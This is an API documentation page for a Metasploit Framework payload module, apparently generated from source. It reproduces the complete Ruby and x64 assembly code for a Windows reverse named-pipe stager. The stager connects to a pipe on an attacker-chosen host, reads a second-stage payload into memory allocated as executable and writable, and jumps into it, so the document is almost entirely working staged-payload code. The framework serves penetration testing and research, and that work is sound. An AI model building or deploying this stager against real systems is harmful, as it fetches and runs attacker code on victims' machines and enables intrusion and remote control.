Module: Msf::Payload::Windows::ReverseNamedPipe_x64

Includes:
TransportConfig, Msf::Payload::Windows, BlockApi_x64, Exitfunk_x64, SendUUID_x64
Defined in:
lib/msf/core/payload/windows/x64/reverse_named_pipe_x64.rb

Overview

Complex reverse_named_pipe payload generation for Windows ARCH_X86_64 ###

Constant Summary

Constants included from Rex::Payloads::Meterpreter::UriChecksum

Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN

Instance Method Summary collapse

Methods included from Exitfunk_x64

#asm_exitfunk

Methods included from BlockApi_x64

#asm_block_api

Methods included from SendUUID_x64

#asm_send_uuid, #uuid_required_size

Methods included from Msf::Payload::Windows

#apply_prepends, exit_types, #handle_intermediate_stage, #replace_var

Methods included from PrependMigrate

#apply_prepend_migrate, #prepend_migrate, #prepend_migrate?, #prepend_migrate_64

Methods included from TransportConfig

#transport_config_bind_named_pipe, #transport_config_bind_tcp, #transport_config_reverse_http, #transport_config_reverse_https, #transport_config_reverse_ipv6_tcp, #transport_config_reverse_named_pipe, #transport_config_reverse_tcp, #transport_config_reverse_udp, #transport_uri_components

Methods included from UUID::Options

#generate_payload_uuid, #generate_uri_uuid_mode, #record_payload_uuid, #record_payload_uuid_url

Methods included from Rex::Payloads::Meterpreter::UriChecksum

#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup

Instance Method Details

#asm_reverse_named_pipe(opts = {}) ⇒ Object

Generate an assembly stub with the configured feature set and options.

Parameters:

  • opts (Hash) (defaults to: {}) —

    a customizable set of options

Options Hash (opts):

  • :port (Fixnum) —

    The port to connect to

  • :exitfunk (String) —

    The exit method to use if there is an error, one of process, thread, or seh

  • :reliable (Bool) —

    Whether or not to enable error handling code



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# File 'lib/msf/core/payload/windows/x64/reverse_named_pipe_x64.rb', line 99

def asm_reverse_named_pipe(opts={})

  #reliable       = opts[:reliable]
  reliable       = false
  retry_count    = [opts[:retry_count].to_i, 1].max
  full_pipe_name = "\\\\\\\\#{opts[:host]}\\\\pipe\\\\#{opts[:name]}"

  asm = %Q^
    ; Input: RBP must be the address of 'api_call'
    ; Output: RDI will be the handle to the named pipe.

    retry_start:
      push #{retry_count}     ; retry counter
      pop r14

      ; Func(rcx, rdx, r8, r9, stack ...)
    try_reverse_named_pipe:
      call get_pipe_name
      db "#{full_pipe_name}", 0x00
    get_pipe_name:
      pop rcx                 ; lpFileName
    ; Start by setting up the call to CreateFile
      push 0                  ; alignment
      push 0                  ; hTemplateFile
      push 0                  ; dwFlagsAndAttributes
      push 3                  ; dwCreationDisposition (OPEN_EXISTING)
      xor r9, r9              ; lpSecurityAttributes
      xor r8, r8              ; dwShareMode
      mov rdx, 0xC0000000     ; dwDesiredAccess(GENERIC_READ|GENERIC_WRITE)
      mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'CreateFileA')}
      call rbp                ; CreateFileA(...)

    ; check for failure
      cmp rax, -1             ; did it work?
      jnz connected

    handle_connect_failure:
      dec r14                 ; decrement the retry count
      jnz retry_start
  ^

  if opts[:exitfunk]
    asm << %Q^
    failure:
      call exitfunk
    ^
  else
    asm << %Q^
    failure:
      push 0x56A2B5F0         ; hardcoded to exitprocess for size
      call rbp
    ^
  end

  asm << %Q^
    ; this label is required so that reconnect attempts include
    ; the UUID stuff if required.
    connected:
      xchg rdi, rax           ; Save the file handler for later
  ^
  asm << asm_write_uuid if include_send_uuid

  asm << %Q^
    ; Receive the size of the incoming second stage...
      push 0                  ; buffer for lpNumberOfBytesRead
      mov r9, rsp             ; lpNumberOfBytesRead
      push 0                  ; buffer for lpBuffer
      mov rsi, rsp            ; lpNumberOfBytesRead
      push 4                  ; sizeof(DWORD)
      pop r8                  ; nNumberOfBytesToRead
      push 0                  ; alignment
      push 0                  ; lpOverlapped
      mov rdx, rsi            ; lpBuffer
      mov rcx, rdi            ; hFile
      mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
      call rbp                ; ReadFile(...)
  ^

  if reliable
    asm << %Q^
    ; reliability: check to see if the received worked, and reconnect
    ; if it fails
      test eax, eax
      jz cleanup_file
      mov rax, [rsi+8]
      test eax, eax
      jz cleanup_file
    ^
  end

  asm << %Q^

    ; Alloc a RWX buffer for the second stage
      add rsp, 0x30           ; slight stack adjustment
      pop rsi                 ; pop off the second stage length
      pop rax                 ; line the stack up again
      mov esi, esi            ; only use the lower-order 32 bits for the size
      push 0x40               ;
      pop r9                  ; PAGE_EXECUTE_READWRITE
      push 0x1000             ;
      pop r8                  ; MEM_COMMIT
      mov rdx, rsi            ; the newly received second stage length.
      xor rcx, rcx            ; NULL as we dont care where the allocation is.
      mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
      call rbp                ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
      ; Receive the second stage and execute it...
      mov rbx, rax            ; rbx = our new memory address for the new stage
      mov r15, rax            ; save the address so we can jump into it later

    read_more:
      ; prepare the size min(0x10000, esi)
      mov r8, 0x10000         ; stupid named pipe buffer limit
      cmp r8, rsi
      jle size_is_good
      mov r8, rsi

    size_is_good:
      ; Invoke a read
      push 0                  ; buffer for lpNumberOfBytesRead
      mov r9, rsp             ; lpNumberOfBytesRead
      mov rdx, rbx            ; lpBuffer
      push 0                  ; lpOverlapped
      mov rcx, rdi            ; hFile
      mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
      call rbp                ; ReadFile(...)
      add rsp, 0x28           ; slight stack adjustment
  ^

  if reliable
    asm << %Q^
    ; reliability: check to see if the read worked
    ; if it fails
      test eax, eax
      jnz read_successful

    ; something failed so free up memory
      pop rax
      push r15
      pop rcx                 ; lpAddress
      push 0x4000             ; MEM_DECOMMIT
      pop r8                  ; dwFreeType
      push 0                  ; 0
      pop rdx                 ; dwSize
      mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')}
      call rbp                ; VirtualFree(payload, 0, MEM_DECOMMIT)

    cleanup_file:
    ; clean up the socket
      push rdi                ; file handle
      pop rcx                 ; hFile
      mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'CloseHandle')}
      call rbp

    ; and try again
      dec r14                 ; decrement the retry count
      jmp retry_start
    ^
  end

  asm << %Q^
    read_successful:
      pop rax
      add rbx, rax            ; buffer += bytes_received
      sub rsi, rax            ; length -= bytes_received
      test rsi, rsi           ; test length
      jnz read_more           ; continue if we have more to read
      jmp r15                 ; return into the second stage
  ^

  if opts[:exitfunk]
    asm << asm_exitfunk(opts)
  end

  asm
end

#generate(_opts = {}) ⇒ Object

Generate the first stage



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# File 'lib/msf/core/payload/windows/x64/reverse_named_pipe_x64.rb', line 28

def generate(_opts = {})
  conf = {
    name:        datastore['PIPENAME'],
    host:        datastore['PIPEHOST'],
    retry_count: datastore['ReverseConnectRetries'],
    reliable:    false
  }

  # Generate the advanced stager if we have space
  if self.available_space && cached_size && required_space <= self.available_space
    conf[:exitfunk] = datastore['EXITFUNC']
    conf[:reliable] = true
  end

  generate_reverse_named_pipe(conf)
end

#generate_reverse_named_pipe(opts = {}) ⇒ Object

Generate and compile the stager



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# File 'lib/msf/core/payload/windows/x64/reverse_named_pipe_x64.rb', line 56

def generate_reverse_named_pipe(opts={})
  combined_asm = %Q^
    cld                     ; Clear the direction flag.
    and rsp, ~0xF           ;  Ensure RSP is 16 byte aligned
    call start              ; Call start, this pushes the address of 'api_call' onto the stack.
    #{asm_block_api}
    start:
      pop rbp               ; block API pointer
    #{asm_reverse_named_pipe(opts)}
  ^
  Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
end

#include_send_uuid ⇒ Object

By default, we don't want to send the UUID, but we'll send for certain payloads if requested.



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# File 'lib/msf/core/payload/windows/x64/reverse_named_pipe_x64.rb', line 49

def include_send_uuid
  false
end

#initialize(*args) ⇒ Object

Register reverse_named_pipe specific options



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# File 'lib/msf/core/payload/windows/x64/reverse_named_pipe_x64.rb', line 21

def initialize(*args)
  super
end

#required_space ⇒ Object

Determine the maximum amount of space required for the features requested



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# File 'lib/msf/core/payload/windows/x64/reverse_named_pipe_x64.rb', line 76

def required_space
  # Start with our cached default generated size
  space = cached_size

  # EXITFUNK 'seh' is the worst case, that adds 15 bytes
  space += 15

  # Reliability adds bytes!
  space += 57

  space += uuid_required_size if include_send_uuid

  # The final estimated size
  space
end

#transport_config(opts = {}) ⇒ Object 



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# File 'lib/msf/core/payload/windows/x64/reverse_named_pipe_x64.rb', line 69

def transport_config(opts={})
  transport_config_reverse_named_pipe(opts)
end